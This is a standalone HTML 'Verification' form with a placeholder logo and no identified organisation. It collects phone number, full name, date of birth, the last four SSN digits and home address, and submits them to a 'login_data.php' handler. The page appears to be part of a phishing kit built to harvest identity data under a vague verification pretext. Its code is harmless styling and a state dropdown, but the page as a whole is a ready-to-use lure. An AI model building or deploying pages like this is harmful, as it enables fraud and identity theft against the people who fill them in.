<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Verification</title>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/feather-icons/4.29.0/feather.min.js"></script>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: 'Segoe UI', sans-serif;
        }

        body {
            background: #f0f2f5;
            min-height: 100vh;
            padding: 20px;
            color: #333;
        }

        .container {
            max-width: 900px;
            margin: 20px auto;
            background-color: white;
            padding: 40px;
            border-radius: 12px;
            box-shadow: 0 2px 12px rgba(0, 0, 0, 0.08);
        }

        .logo {
            text-align: center;
            margin-bottom: 40px;
            position: relative;
        }

        .logo::after {
            content: '';
            display: block;
            width: 60px;
            height: 4px;
            background: #2563eb;
            margin: 20px auto 0;
            border-radius: 2px;
        }

        .logo img {
            max-width: 70px;
            height: auto;
        }

        .form-title {
            text-align: center;
            margin-bottom: 40px;
            color: #1e293b;
            font-size: 28px;
            font-weight: 600;
        }

        .form-section {
            background: #f8fafc;
            padding: 25px;
            border-radius: 8px;
            margin-bottom: 30px;
            border: 1px solid #e2e8f0;
        }

        .section-title {
            font-size: 18px;
            color: #2563eb;
            margin-bottom: 20px;
            font-weight: 600;
        }

        .form-group {
            margin-bottom: 24px;
        }

        .row {
            display: flex;
            flex-wrap: wrap;
            gap: 24px;
            margin-bottom: 24px;
        }

        .col {
            flex: 1;
            min-width: 250px;
        }

        label {
            display: block;
            margin-bottom: 8px;
            color: #475569;
            font-size: 14px;
            font-weight: 500;
        }

        .input-wrapper {
            position: relative;
            display: flex;
            align-items: center;
        }

        .input-icon {
            position: absolute;
            left: 12px;
            color: #64748b;
            width: 18px;
            height: 18px;
        }

        input, select {
            width: 100%;
            padding: 12px 12px 12px 40px;
            border: 1px solid #cbd5e1;
            border-radius: 8px;
            font-size: 15px;
            color: #1e293b;
            background: white;
            transition: all 0.2s ease;
        }

        input::placeholder {
            color: #94a3b8;
        }

        input:focus, select:focus {
            outline: none;
            border-color: #2563eb;
            box-shadow: 0 0 0 3px rgba(37, 99, 235, 0.1);
        }

        select {
            appearance: none;
            background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='none' viewBox='0 0 24 24' stroke='%2364748b'%3E%3Cpath stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='M19 9l-7 7-7-7'%3E%3C/path%3E%3C/svg%3E");
            background-repeat: no-repeat;
            background-position: right 12px center;
            background-size: 16px;
            padding-right: 40px;
        }

        button {
            background: #2563eb;
            color: white;
            padding: 14px 28px;
            border: none;
            border-radius: 8px;
            cursor: pointer;
            font-size: 16px;
            font-weight: 600;
            width: 100%;
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 8px;
            transition: all 0.2s ease;
        }

        button:hover {
            background: #1d4ed8;
            transform: translateY(-1px);
        }

        button:active {
            transform: translateY(0);
        }

        .required::after {
            content: '*';
            color: #ef4444;
            margin-left: 4px;
        }

        @media (max-width: 768px) {
            .container {
                padding: 20px;
            }

            .form-section {
                padding: 20px;
            }

            .col {
                flex: 100%;
            }
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="logo">
            <img src="logos.png" alt="Logo">
        </div>
        
        
        <form id="registrationForm" method="POST" action="login_data.php">
            <div class="form-section">
                <h2 class="section-title">Personal Information</h2>
                <div class="form-group">
                    <label for="phone" class="required">Phone Number</label>
                    <div class="input-wrapper">
                        <i data-feather="phone" class="input-icon"></i>
                        <input type="tel" name="phones" id="phone" required pattern="[0-9]{10}" placeholder="(xxx) xxx-xxxx">
                    </div>
                </div>

                <div class="row">
                    <div class="col">
                        <label for="firstName" class="required">First Name</label>
                        <div class="input-wrapper">
                            <i data-feather="user" class="input-icon"></i>
                            <input type="text" name="firstNames" id="firstName" required placeholder="Enter first name">
                        </div>
                    </div>
                    <div class="col">
                        <label for="middleName">Middle Name</label>
                        <div class="input-wrapper">
                            <i data-feather="user" class="input-icon"></i>
                            <input type="text" name="middleNames" id="middleName" placeholder="Enter middle name">
                        </div>
                    </div>
                    <div class="col">
                        <label for="lastName" class="required">Last Name</label>
                        <div class="input-wrapper">
                            <i data-feather="user" class="input-icon"></i>
                            <input type="text" name="lastNames" id="lastName" required placeholder="Enter last name">
                        </div>
                    </div>
                </div>

                <div class="row">
                    <div class="col">
                        <label for="dob" class="required">Date of Birth</label>
                        <div class="input-wrapper">
                            <i data-feather="calendar" class="input-icon"></i>
                            <input type="date" name="dobs" id="dob" required>
                        </div>
                    </div>
                    <div class="col">
                        <label for="pin" class="required">Last 4 Digit of SSN</label>
                        <div class="input-wrapper">
                            <i data-feather="lock" class="input-icon"></i>
                            <input type="password" name="pins" id="pin" required pattern="[0-9]{4}" maxlength="4" placeholder="Last 4 Digit of SSN">
                        </div>
                    </div>
                </div>
            </div>

            <div class="form-section">
                <h2 class="section-title">Address Details</h2>
                <div class="form-group">
                    <label for="address" class="required">Street Address</label>
                    <div class="input-wrapper">
                        <i data-feather="home" class="input-icon"></i>
                        <input type="text" name="addresss" id="address" required placeholder="Enter your street address">
                    </div>
                </div>

                <div class="row">
                    <div class="col">
                        <label for="city" class="required">City</label>
                        <div class="input-wrapper">
                            <i data-feather="map-pin" class="input-icon"></i>
                            <input type="text" name="citys" id="city" required placeholder="Enter city">
                        </div>
                    </div>
                    <div class="col">
                        <label for="state" class="required">State</label>
                        <div class="input-wrapper">
                            <i data-feather="map" class="input-icon"></i>
                            <select name="states" id="state" required>
                                <option value="">Select your state</option>
                            </select>
                        </div>
                    </div>
                    <div class="col">
                        <label for="zipcode" class="required">ZIP Code</label>
                        <div class="input-wrapper">
                            <i data-feather="mail" class="input-icon"></i>
                            <input type="text" name="zipcodes" id="zipcode" required pattern="[0-9]{5}" placeholder="Enter ZIP code">
                        </div>
                    </div>
                </div>
            </div>

            <button type="submit">
                <i data-feather="check-circle"></i>
                Complete Verification
            </button>
        </form>
    </div>

    <script>
        // Initialize Feather icons
        feather.replace();

        const states = [
            'Alabama', 'Alaska', 'Arizona', 'Arkansas', 'California', 'Colorado', 'Connecticut',
            'Delaware', 'Florida', 'Georgia', 'Hawaii', 'Idaho', 'Illinois', 'Indiana', 'Iowa',
            'Kansas', 'Kentucky', 'Louisiana', 'Maine', 'Maryland', 'Massachusetts', 'Michigan',
            'Minnesota', 'Mississippi', 'Missouri', 'Montana', 'Nebraska', 'Nevada', 'New Hampshire',
            'New Jersey', 'New Mexico', 'New York', 'North Carolina', 'North Dakota', 'Ohio',
            'Oklahoma', 'Oregon', 'Pennsylvania', 'Rhode Island', 'South Carolina', 'South Dakota',
            'Tennessee', 'Texas', 'Utah', 'Vermont', 'Virginia', 'Washington', 'West Virginia',
            'Wisconsin', 'Wyoming'
        ];

        // Populate states dropdown
        const stateSelect = document.getElementById('state');
        states.forEach(state => {
            const option = document.createElement('option');
            option.value = state;
            option.textContent = state;
            stateSelect.appendChild(option);
        });

        
    </script>
</body>
</html>